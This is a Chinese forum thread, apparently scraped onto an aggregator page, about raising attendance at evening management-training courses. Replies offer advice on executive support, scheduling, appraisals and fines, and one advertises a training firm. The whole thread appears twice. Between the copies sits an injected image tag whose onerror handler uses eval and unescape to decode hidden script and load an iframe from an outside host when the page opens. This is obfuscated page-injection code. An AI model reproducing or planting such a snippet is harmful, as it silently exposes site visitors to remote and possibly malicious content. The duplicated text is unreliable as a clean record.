如何提高员工参加管理培训的积极性
[转贴 2010-04-30 04:29:23]
如何提高员工参加管理培训的积极性
我公司是一家较大型的港资上市企业，也算高科技企业吧，公司之前管理培训很少，中层以上管理人员（大陆职员）几乎没有接受多少管理培训，目前想逐步推进一些管理培训课程，报名还算踊跃，我们的培训时间安排在晚上，可能与公司组织的篮球赛时间有冲突，实施培训时出席率却很低。如何提高培训出席率？是制度强制？还是以各种方式“求”他们出席呢？请各位大侠提出宝贵意见，共同探讨！......
------------------
我觉得你首先要把你目前出席培训的同事留住，然后在培训的时候适当地用一些幽默性语言或增加一些有趣的游戏，如果这些同事觉得这种培训效果不错，我相信他们会去带动一部分其他同事！
------------------
waterice说的很有道理，由于是刚开始推管理课程，申请受训者对培训并不重视，现只刚推出了一个课程，提高出席率可能还须待以时日了。
------------------
按照樓主所說的情況，“报名还算踊跃”，說明這些管理培訓課程員工已經有所關注，至於出席率很低的問題，您也提到“可能与公司组织的篮球赛时间有冲突”，所以從實施方面來講，時間及場地的安排要合情合理，所謂合情就是要讓參加的人員自覺接受，合理就是不輿公司其它事項有所沖突。培訓的開展不能僅僅出個通知就算是開始了，{zh0}先去征求各個方面的意見，制定出合情合理的安排。
再者，既然員工有事先報名參加培訓而到時卻缺席，可在制度上做出規定，列入績效考核的內容，如缺席、遲到視同缺勤等。
開始的訓練有了出席率這個基礎之後，接下來的工作就是如何提高參加訓練人員對培訓的滿意度的問題了，因為培訓的內容沒有獲得認可，出席率也只能是個表像。
------------------
您好， 我来自香港/广州培训界。 有的港资企业 (尤其科技公司) 比较个人化， 缺乏对培训的规划。 取得高级管理对培训的认同， 与及对培训系统的规范化， 把培训成绩列入年底考察， 并又具品牌培训机构颁于证书 - 从管理及员工两方面都要做点工作。 也要把培训效果着内部推广。 推广工作很重要 - 而晚上可能效果未及xx好。 我们现在正提供MTP中级经理培训， 欢迎参考。www.abrs.com.cn/MTP.htm。 员工与主管对培训效果的认同， 是重要的一环。而出席录偏低， 影响效益， 可能报了名又没出席要个人付点罚款， 免得占用资源。
培训提供还是软硬兼施， 并有高级主管发内部通告效果会较好。欢迎电邮rpoon@abrs.com.hk联络。
------------------
先找一部分有兴趣并且有积极性的来做，再通过他们来宣传效果
------------------
好几天没有看帖子，非常感谢各位的建议，目前本公司培训不属于HR部门，不能与绩效考核挂钩，而且公司管理很人性化，不适宜用强制手段，正如niko建议的，作为服务部门，我们将会尽量做得完善一些，漫漫提起他们的兴趣，以提高出勤率，第二个课题即将开始，希望会好些。
------------------
double,你好:
我现在很少来发贴(回贴),针对你的问题,我想应该结合niko和rpo的方法谈几句:
1)取得高层的支持与认可(通过一些数据来说服高层认为管理培训势在必行),借由上层来推动,必定比培训部门来推动要省力得多;
2)作为培训部门,在刚推的时候,应该事前筹备得比较周详,比如时间安排和既定的活动时间是否有冲突?培训场地是否不够?专业素质是否确保?等等,要通过你的细致安排和专业水准打造你的品牌.否则,到{zh1}只会感觉:累,并不快乐!
在这方面,你可以详细与HARDY交流,看看以前他们的成功经验作为借鉴.
做人力资源要做得好,在一定程度上需要心理分析.相信你明白我所指.
------------------
我对此问题也非常感兴趣。
培训缺勤率高，听课不认真，成了非常重要的培训症结。尤其是对sales的培训，根本没有一个计划。
希望能提供一些提高培训课程效果的活动方式
还有培训如何与绩效考核结合起来，也是很迷惑？
有没有对每次培训都进行考试等考核呢？
------------------
好久未来看帖了，非常感谢各位的指点，现我公司正准备完善培训制度，将培训与晋升、调职挂钩，由上层来推动整个公司重视培训，这样整个培训效果应该会大为改观，再次谢谢各位！！！！！！！！！！！！！
![]()
0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
------------------
我觉得你首先要把你目前出席培训的同事留住，然后在培训的时候适当地用一些幽默性语言或增加一些有趣的游戏，如果这些同事觉得这种培训效果不错，我相信他们会去带动一部分其他同事！
------------------
waterice说的很有道理，由于是刚开始推管理课程，申请受训者对培训并不重视，现只刚推出了一个课程，提高出席率可能还须待以时日了。
------------------
按照樓主所說的情況，“报名还算踊跃”，說明這些管理培訓課程員工已經有所關注，至於出席率很低的問題，您也提到“可能与公司组织的篮球赛时间有冲突”，所以從實施方面來講，時間及場地的安排要合情合理，所謂合情就是要讓參加的人員自覺接受，合理就是不輿公司其它事項有所沖突。培訓的開展不能僅僅出個通知就算是開始了，{zh0}先去征求各個方面的意見，制定出合情合理的安排。
再者，既然員工有事先報名參加培訓而到時卻缺席，可在制度上做出規定，列入績效考核的內容，如缺席、遲到視同缺勤等。
開始的訓練有了出席率這個基礎之後，接下來的工作就是如何提高參加訓練人員對培訓的滿意度的問題了，因為培訓的內容沒有獲得認可，出席率也只能是個表像。
------------------
您好， 我来自香港/广州培训界。 有的港资企业 (尤其科技公司) 比较个人化， 缺乏对培训的规划。 取得高级管理对培训的认同， 与及对培训系统的规范化， 把培训成绩列入年底考察， 并又具品牌培训机构颁于证书 - 从管理及员工两方面都要做点工作。 也要把培训效果着内部推广。 推广工作很重要 - 而晚上可能效果未及xx好。 我们现在正提供MTP中级经理培训， 欢迎参考。www.abrs.com.cn/MTP.htm。 员工与主管对培训效果的认同， 是重要的一环。而出席录偏低， 影响效益， 可能报了名又没出席要个人付点罚款， 免得占用资源。
培训提供还是软硬兼施， 并有高级主管发内部通告效果会较好。欢迎电邮rpoon@abrs.com.hk联络。
------------------
先找一部分有兴趣并且有积极性的来做，再通过他们来宣传效果
------------------
好几天没有看帖子，非常感谢各位的建议，目前本公司培训不属于HR部门，不能与绩效考核挂钩，而且公司管理很人性化，不适宜用强制手段，正如niko建议的，作为服务部门，我们将会尽量做得完善一些，漫漫提起他们的兴趣，以提高出勤率，第二个课题即将开始，希望会好些。
------------------
double,你好:
我现在很少来发贴(回贴),针对你的问题,我想应该结合niko和rpo的方法谈几句:
1)取得高层的支持与认可(通过一些数据来说服高层认为管理培训势在必行),借由上层来推动,必定比培训部门来推动要省力得多;
2)作为培训部门,在刚推的时候,应该事前筹备得比较周详,比如时间安排和既定的活动时间是否有冲突?培训场地是否不够?专业素质是否确保?等等,要通过你的细致安排和专业水准打造你的品牌.否则,到{zh1}只会感觉:累,并不快乐!
在这方面,你可以详细与HARDY交流,看看以前他们的成功经验作为借鉴.
做人力资源要做得好,在一定程度上需要心理分析.相信你明白我所指.
------------------
我对此问题也非常感兴趣。
培训缺勤率高，听课不认真，成了非常重要的培训症结。尤其是对sales的培训，根本没有一个计划。
希望能提供一些提高培训课程效果的活动方式
还有培训如何与绩效考核结合起来，也是很迷惑？
有没有对每次培训都进行考试等考核呢？
------------------
好久未来看帖了，非常感谢各位的指点，现我公司正准备完善培训制度，将培训与晋升、调职挂钩，由上层来推动整个公司重视培训，这样整个培训效果应该会大为改观，再次谢谢各位！！！！！！！！！！！！！
郑重声明：资讯 【如何提高员工参加管理培训的积极性- 第三方支付- elations - 和讯博客】由 发布，版权归原作者及其所在单位，其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实，请读者仅作参考，并请自行核实相关内容。若本文有侵犯到您的版权， 请你提供相关证明及申请并与我们联系（qiyeku # qq.com）或【在线投诉】，我们审核后将会尽快处理。
—— 相关资讯 ——
